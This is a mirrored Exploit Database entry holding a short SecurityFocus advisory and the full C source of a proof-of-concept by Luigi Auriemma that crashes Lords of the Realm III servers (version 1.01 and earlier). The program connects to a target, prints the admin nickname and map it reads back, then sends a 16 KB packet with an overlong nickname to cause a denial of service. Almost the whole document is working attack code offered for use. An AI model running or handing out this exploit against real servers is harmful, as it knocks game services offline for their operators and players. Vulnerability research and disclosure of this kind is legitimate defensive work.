/exploits/windows/dos/24618.c

https://bitbucket.org/DinoRex99/exploit-database · C · 157 lines · 113 code · 39 blank · 5 comment · 16 complexity · 3c2cb603fb88cc25354a2167d805076f MD5 · raw file

  1. source: http://www.securityfocus.com/bid/11223/info
  2. A problem in the handling of nicknames is reported in the Lords of the Realm III server. Because of this, an attacker may be able to deny service to users of the game server.
  3. The problem is in the handling of nicknames of excessive length.
  4. It should be noted that this vulnerability only occurs when the server enters "lobby mode," which is a brief window of time before the initiation of a new game.
  5. /*
  6. by Luigi Auriemma
  7. */
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #ifdef WIN32
  12. #include <winsock.h>
  13. #include "winerr.h"
  14. #define close closesocket
  15. #else
  16. #include <unistd.h>
  17. #include <sys/socket.h>
  18. #include <sys/types.h>
  19. #include <arpa/inet.h>
  20. #include <netdb.h>
  21. #include <netinet/in.h>
  22. #endif
  23. #define VER "0.1"
  24. #define PORT 29901
  25. #define BUFFSZ 16384 // BOOMSZ
  26. #define SHOW(x) len = *(u_long *)p; \
  27. fputs(x, stdout); \
  28. p += 4; \
  29. while(len--) { \
  30. fputc(*p, stdout); \
  31. p += 2; \
  32. } \
  33. fputc('\n', stdout);
  34. u_long resolv(char *host);
  35. void std_err(void);
  36. int main(int argc, char *argv[]) {
  37. struct sockaddr_in peer;
  38. int sd,
  39. len;
  40. u_short port = PORT;
  41. u_char buff[BUFFSZ],
  42. *p;
  43. setbuf(stdout, NULL);
  44. fputs("\n"
  45. "Lords of the Realm III <= 1.01 server crash "VER"\n"
  46. "by Luigi Auriemma\n"
  47. "e-mail: aluigi@altervista.org\n"
  48. "web: http://aluigi.altervista.org\n"
  49. "\n", stdout);
  50. if(argc < 2) {
  51. printf("\n"
  52. "Usage: %s <server> [port(%d)]\n"
  53. "\n", argv[0], PORT);
  54. exit(1);
  55. }
  56. #ifdef WIN32
  57. WSADATA wsadata;
  58. WSAStartup(MAKEWORD(1,0), &wsadata);
  59. #endif
  60. if(argc > 2) port = atoi(argv[2]);
  61. peer.sin_addr.s_addr = resolv(argv[1]);
  62. peer.sin_port = htons(port);
  63. peer.sin_family = AF_INET;
  64. sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  65. if(sd < 0) std_err();
  66. printf("- target %s:%hu\n",
  67. inet_ntoa(peer.sin_addr), port);
  68. if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
  69. < 0) std_err();
  70. if(recv(sd, buff, BUFFSZ, 0)
  71. < 0) std_err();
  72. fputs("- informations:\n", stdout);
  73. if(*buff != 11) {
  74. p = buff + 5;
  75. SHOW(" Server*Admin: ");
  76. p += 2;
  77. SHOW(" Map: ");
  78. } else {
  79. p = buff + 24;
  80. SHOW(" Admin nick: ");
  81. }
  82. *(u_long *)buff = BUFFSZ - 4;
  83. memcpy(buff + 4, "\x79\xff\xff\xff\xff", 5);
  84. *(u_long *)(buff + 9) = (BUFFSZ - 14) >> 1;
  85. memset(buff + 13, 'a', BUFFSZ - 14);
  86. buff[BUFFSZ - 1] = 0x45;
  87. fputs("\n- send BOOM data\n", stdout);
  88. if(send(sd, buff, BUFFSZ, 0)
  89. < 0) std_err();
  90. if(recv(sd, buff, BUFFSZ, 0) < 0) {
  91. fputs("\nServer IS vulnerable!!!\n\n", stdout);
  92. } else {
  93. fputs("\nServer doesn't seem to be vulnerable\n\n", stdout);
  94. }
  95. close(sd);
  96. return(0);
  97. }
  98. u_long resolv(char *host) {
  99. struct hostent *hp;
  100. u_long host_ip;
  101. host_ip = inet_addr(host);
  102. if(host_ip == INADDR_NONE) {
  103. hp = gethostbyname(host);
  104. if(!hp) {
  105. printf("\nError: Unable to resolve hostname (%s)\n", host);
  106. exit(1);
  107. } else host_ip = *(u_long *)(hp->h_addr);
  108. }
  109. return(host_ip);
  110. }
  111. #ifndef WIN32
  112. void std_err(void) {
  113. perror("\nError");
  114. exit(1);
  115. }
  116. #endif